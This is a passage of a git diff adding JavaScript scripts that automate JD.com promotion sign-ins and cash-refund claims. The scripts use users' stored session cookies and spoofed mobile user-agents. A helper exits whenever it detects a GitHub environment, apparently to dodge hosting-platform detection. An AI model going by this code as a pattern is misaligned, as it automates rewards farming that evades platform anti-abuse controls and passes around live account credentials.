`https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_signFree.js b/jd_signFree.js new file mode 100644 index 0000000..0cfc3e6 --- /dev/null +++ b/jd_signFree.js @@ -0,0 +1,570 @@ +// 自行确认是否有效 + +const $ = new Env('极速免费签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const UA = $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie, + msg = [] + +const activityId = 'PiuLvM8vamONsWzC0wqBGQ' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + msg.push(($.nickName || $.UserName) + ':') + await sign_all() + } + } + if (msg.length) { + console.log('有消息,推送消息') + await notify.sendNotify($.name, msg.join('\n')) + } else { + console.error('无消息,推送错误') + await notify.sendNotify($.name + '错误!!', "无消息可推送!!") + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + notify.sendNotify($.name + '异常!!', msg.join('\n') + '\n' + e) + }) + .finally(() => { + $.msg($.name, '', `结束`); + $.done(); + }) +async function sign_all() { + await query() + if (!$.signFreeOrderInfoList){ + console.log('啥也没买,结束') + return + } + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('now:', order) + $.productName = order.productName + await sign(order.orderId) + await $.wait(3000) + } + await $.wait(3000) + await query() + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('2nd now:', order) + if (order.needSignDays == order.hasSignDays) { + console.log(order.productName, '可提现,执行提现') + $.productName = order.productName + await cash(order.orderId) + await $.wait(3000) + } + } +} + +function query() { + return new Promise(resolve => { + $.get(taskGetUrl("signFreeHome", { "linkId": activityId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('query:', data) + data = JSON.parse(data) + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + if (data.success == true) { + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + msg.push("没有需要签到的商品,请到京东极速版[签到免单]购买商品") + } else { + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + console.log("脚本也许随时失效,请注意"); + msg.push("脚本也许随时失效,请注意") + if (data.data.risk == true) { + console.log("风控用户,可能有异常"); + msg.push("风控用户,可能有异常") + } + } + }else{ + console.error("失败"); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function sign(orderId) { + return new Promise(resolve => { + // console.debug('sign orderId:', orderId) + $.post(taskPostUrl("signFreeSignIn", { "linkId": activityId, "orderId": orderId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('sign:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 签到成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function cash(orderId) { + return new Promise(resolve => { + // console.debug('cash orderId:', orderId) + $.post(taskPostUrl("signFreePrize", { "linkId": activityId, "orderId": orderId, "prizeType": 2 }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('cash:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 提现成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + // 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + // 'Connection': 'keep-alive', + 'user-agent': UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = 